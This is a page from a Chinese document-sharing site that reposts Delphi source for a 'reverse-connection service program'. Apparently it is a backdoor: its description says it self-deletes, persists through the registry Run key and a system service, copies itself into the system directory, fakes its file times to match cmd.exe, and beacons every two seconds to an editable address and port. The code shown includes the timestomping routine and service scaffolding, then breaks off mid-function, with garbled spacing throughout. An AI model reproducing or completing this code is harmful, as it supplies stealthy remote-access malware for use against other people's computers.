- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Delphi一个简单反向连接服务程序
[Delphi]一个简单的反向连接服务程序???[转]作者:hnxyy???来源:火狐?功能简介:运行后自删除,写注册表Run下,同时自拷贝到系统目录下,注册为系统服务SvrDemo,修改文件时间同Cmd.exe,每隔俩秒钟连接一次本地(127.0.0.1)的600端口,ip地址和端口可自行修改,部分代码来源于网上修改,主要在于演示服务程序,用fsg2.0加壳后9.8k,编译环境D7+2kPro。在命令行下加参数?/U?可以卸载服务程序。program?SvrDemo;uses??Windows,??WinSvc,??winsock;const??RegName?=?SvrDemo;var??szServiceName:?pchar?=?SvrDemo;??szFileNamechar;??ServiceTable:?array?[0..1]?of?TServiceTableEntry;??Status:?SERVICE_STATUS;??StatusHandle:?SERVICE_STATUS_HANDLE;??Stopped:?boolean;??Paused:?boolean;??cmd?:array[0..MAX_PATH]?of?char;//获取系统目录function?GetDirectory(dInt:?Integer):?string;var??s:?array[0..255]?of?Char;begin??case?dInt?of????0:?GetWindowsDirectory(@s,?256);??//Windows安装文件夾所存在的路径????1:?GetSystemDirectory(@s,?256);???//系统文件夾所存在的路径????2:?GetTempPath(256,@s);???????????//Temp文件夾所存在的路径??end;??if?dInt=2?then????result?:=string(s)??else????result?:=?string(s)?+?\;end;//设置文件时间procedure?setTime(srcFile,destFile:PChar);var??hFileOld,hFileNew?:THandle;??CreationTime,?LastAccessTime,?LastWriteTime?:PFileTime;begin??hFileOld?:=createFile(srcFile,generic_read,file_share_read,nil,????????????????????????open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));??if?(hFileOld=INVALID_HANDLE_VALUE)?then?exit;??hFileNew?:=createFile(destFile,generic_write,file_share_write,nil,????????????????????????open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));??if?(hFileNew=INVALID_HANDLE_VALUE)?then?exit;??GetMem(CreationTime,SizeOf(TFileTime));??GetMem(LastAccessTime,SizeOf(TFileTime));??GetMem(LastWriteTime,SizeOf(TFileTime));??GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime);??SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime);??FreeMem(CreationTime);??FreeMem(LastAccesstime);??FreeMem(LastWriteTime);??CloseHandle(hFileNew);??CloseHandle(hFileOld);end;function?LookupName(const?Name:?string):?TInAddr;var??HostEnt:?PHostEnt;??InAddr:?TInAddr;begin??HostEnt?:=?gethostbyname(PChar(Name));??Fi
文档评论(0)